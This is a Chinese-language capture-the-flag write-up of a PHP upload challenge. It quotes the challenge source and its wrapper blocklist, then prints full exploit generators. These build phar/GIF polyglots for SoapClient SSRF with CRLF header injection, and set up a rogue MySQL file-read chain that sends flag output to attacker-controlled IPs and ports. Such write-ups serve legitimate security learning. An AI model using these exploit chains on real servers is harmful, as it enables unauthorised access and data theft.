1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include 'class.php' ;$userdir = "upload/" . md5 ($_SERVER ["REMOTE_ADDR" ]);if (!file_exists ($userdir )) { mkdir ($userdir , 0777 , true ); } if (isset ($_POST ["upload" ])) { $allowedExts = array ("gif" , "jpeg" , "jpg" , "png" ); $tmp_name = $_FILES ["file" ]["tmp_name" ]; $file_name = $_FILES ["file" ]["name" ]; $temp = explode ("." , $file_name ); $extension = end ($temp ); if ((($_FILES ["file" ]["type" ] == "image/gif" ) || ($_FILES ["file" ]["type" ] == "image/jpeg" ) || ($_FILES ["file" ]["type" ] == "image/png" )) && ($_FILES ["file" ]["size" ] < 204800 ) && in_array ($extension , $allowedExts ) ) { $c = new Check ($tmp_name ); $c ->check (); if ($_FILES ["file" ]["error" ] > 0 ) { echo "错误:: " . $_FILES ["file" ]["error" ] . "<br>" ; die (); } else { move_uploaded_file ($tmp_name , $userdir . "/" . md5 ($file_name ) . "." . $extension ); echo "文件存储在: " . $userdir . "/" . md5 ($file_name ) . "." . $extension ; } } else { echo "非法的文件格式" ; } }
先看对于文件上传的限制
白名单"gif", “jpeg”, “jpg”, "png
check()函数
1 2 3 $data = file_get_contents ($this ->file_name); if (mb_strpos ($data , "<?" ) !== FALSE ) { die ("<? in contents!" );
可以看见<?的文件内容是不允许的,可以使用标签
文件读取的限制-伪协议
1 /^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i'
然后探测mime类型
注意这里是文件操作函数,由于finfo_file()底层调用了 _php_stream_stat_path ,可以触发phar
1 2 $finfo = finfo_open (FILEINFO_MIME_TYPE); $this ->type = finfo_file ($finfo , $this ->file_name); finfo_close ($finfo );
目的:
1.获得管理员权限->实际上就是ssrf
2.启动readflag程序(__wakeup())发送在固定的ip与端口
思路1.Phar反序列化结合 SoapClient SSRF(服务器端请求伪造)以及 CRLF(回车换行)头注入
指利用 SOAP 协议(尤其是 PHP 的 SoapClient 类)中存在的 CRLF 注入漏洞,通过构造恶意请求头实现的攻击技术
admin的check函数(有一堆反射)
动态地实例化一个类,并顺次执行这个类里面的三个方法
php反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function check ( ) { $reflect = new ReflectionClass ($this ->clazz); $this ->instance = $reflect ->newInstanceArgs (); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func1); $reflectionMethod ->invoke ($this ->instance, $this ->arg1); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func2); $reflectionMethod ->invoke ($this ->instance, $this ->arg2[0 ], $this ->arg2[1 ], $this ->arg2[2 ], $this ->arg2[3 ], $this ->arg2[4 ]); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func3); $reflectionMethod ->invoke ($this ->instance, $this ->arg3); }
1 2 3 4 5 function __wakeup ( ) { $class = new ReflectionClass ($this ->func); $a = $class ->newInstanceArgs ($this ->file_name); $a ->check (); }
newInstanceArgs() 方法:它必须接收一个数组,然后把这个数组里的元素“打散”,按顺序作为参数传递给类的构造函数
我们从终点开始推倒:
/readflag发送到对应的ip和端口上面,需要反序列化使 __wakeup() 直接调用->文件操作函数与phar的结合
__construct()在new 类() 实例化自动触发
两个条件:
1.触发ssrf (需要使用SoapClient,phar) 这里crlf使 use ragent后面放入我们的post body,使后面的数据失效
2.在admin打出反序列化(也是需要phar,但是没有file_open,需要借用check来调用文件操作函数)
也就是说打出两次反序列化
我们可以联想到 #SoapClient类
php反序列化特殊原生类
https://juejin.cn/post/7001006222916878343
由于SoapClient 原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法,从而向location的地址发送ssrf请求
因此在CTF中通常会出现一种存在调用不存在的方法 、并且需要我们伪造请求头 的题目
payload的思路:
为了触发admin打出反序列化(ad类触发wakeup),需要用
check()函数传入类参数和方法,对应phar协议->
ssrf中的a触发chek()->
ssrf:File的SoapClient类,由wakeup,调用没有的方法触发了call,传入admin的参数->
访问file_name,使$func = "SoapClient"触发ssrf->
实例化File,访问phar://…协议,触发__wakeup->
上传phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php class Ad { public $ip ; public $port ; } class File { public $file_name ; public $type ; public $func = "SoapClient" ; } $admin = new Ad ();$admin ->ip = "174.0.134.167" ; $admin ->port = "8888" ; $post_data = http_build_query ([ 'admin' => 1 , 'ip' => '1' , // 占位 'port' => '1' , // 占位 'clazz' => 'finfo' , // 万能遥控器指向 PHP 原生类 finfo 'func1' => 'file' , // 遥控器按下 file 方法 'arg1' => 'phar:///var/www/html/upload/exploit.phar' , // 再次读取同一个文件触发二次反序列化 'func2' => 'file' , // 占位防报错 'func3' => 'file' , // 占位防报错 'arg2' => '1' , 'arg3' => '1' ]); $headers = "Content-Type: application/x-www-form-urlencoded\r\n" ;$headers .= "Content-Length: " . strlen ($post_data ) . "\r\n\r\n" ;$user_agent = "SSRF_Agent\r\n" . $headers . $post_data ;$file = new File (); $file ->file_name = [ null , [ 'location' => 'http://127.0.0.1/admin.php' , 'uri' => 'http://127.0.0.1/' , 'user_agent' => $user_agent ] ]; $pharFile = 'exploit.phar.gif' ; @unlink ($pharFile ); ini_set ('phar.readonly' , 0 );$phar = new Phar ($pharFile );$phar ->startBuffering ();$phar ->addFromString ("test.txt" , "test" );$stub = 'GIF89a' . '<script language="php">__HALT_COMPILER();</script>' ; $phar ->setStub ($stub );$phar ->setMetadata ([$file , $admin ]); $phar ->stopBuffering ();echo "Payload 生成完毕:{$pharFile} \n" ; ?>
用 php://filter/resource=phar://upload/48cd8b43081896fbd0931d204f947663/18e2999891374a475d0687ca9f989d83.jpg绕过前缀限制。触发phar反序列化
方法二 Rogue MySQL(恶意 MySQL 伪造服务端)结合 Phar 反序列化
如果在真实的比赛或渗透环境中,目标服务器根本没有开启 fileinfo 扩展,或者 DOMDocument 类被禁用了
这个时候,我们就需要找一个几乎每台 PHP 服务器必定会安装的扩展, Mysqli
PHP 连接 MySQL 服务端。
PHP 发送查询语句(比如 select 1)。
服务端的 MySQL 可以强行给客户端回命令
PHP 底层的 MySQL 扩展会读取这个文件,并发给服务端
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class File { public $file_name ; public $type ; public $func = "SoapClient" ; function __construct ($file_name ) { $this ->file_name = $file_name ; } } $target = 'http://127.0.0.1/admin.php' ; $post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=192.168.124.14&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=192.168.124.14&port=7777' ; $headers = array ( 'X-Forwarded-For: 127.0.0.1' , ); $arr = array (null , array ("location" => $target ,"user_agent" =>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n" .join ("\r\n" ,$headers )."\r\nContent-Length: " .(string )strlen ($post_string )."\r\n\r\n" .$post_string ,"uri" => "aaab" )); $o = new File ($arr ); $phar = new Phar ("1.phar" ); $phar ->startBuffering (); $phar ->setStub ("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>" ); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); rename ("1.phar" , "1.gif" ); ?>
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Ad { public $ip = '192.168.124.14' ; public $port = '7777' ; } $phar = new Phar ("ad.phar" ); $phar ->startBuffering (); $phar ->addFromString ("test.txt" , "test" ); $phar ->setStub ("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>" ); $object = new Ad (); $phar ->setMetadata ($object ); $phar ->stopBuffering (); rename ("ad.phar" , "ad.gif" ); ?>
https://mp.weixin.qq.com/s?__biz=Mzg3MjQ4MDI4OQ==&mid=2247483707&idx=1&sn=fe2fc394adc14f2f4dc273465a6fc665&chksm=cfd364349793e506292db74ca365d6816d01e7b068874ab827337391ba0c26f5b619cde75634&mpshare=1&scene=23&srcid=0516bVPLQc7eXQcSncSIaS41&sharer_shareinfo=1ff7a8fa7a6345711c8f608ef3fb96a8&sharer_shareinfo_first=1ff7a8fa7a6345711c8f608ef3fb96a8#rd
方法3源码有区别
https://guokeya.github.io/post/-05AEB0Yn/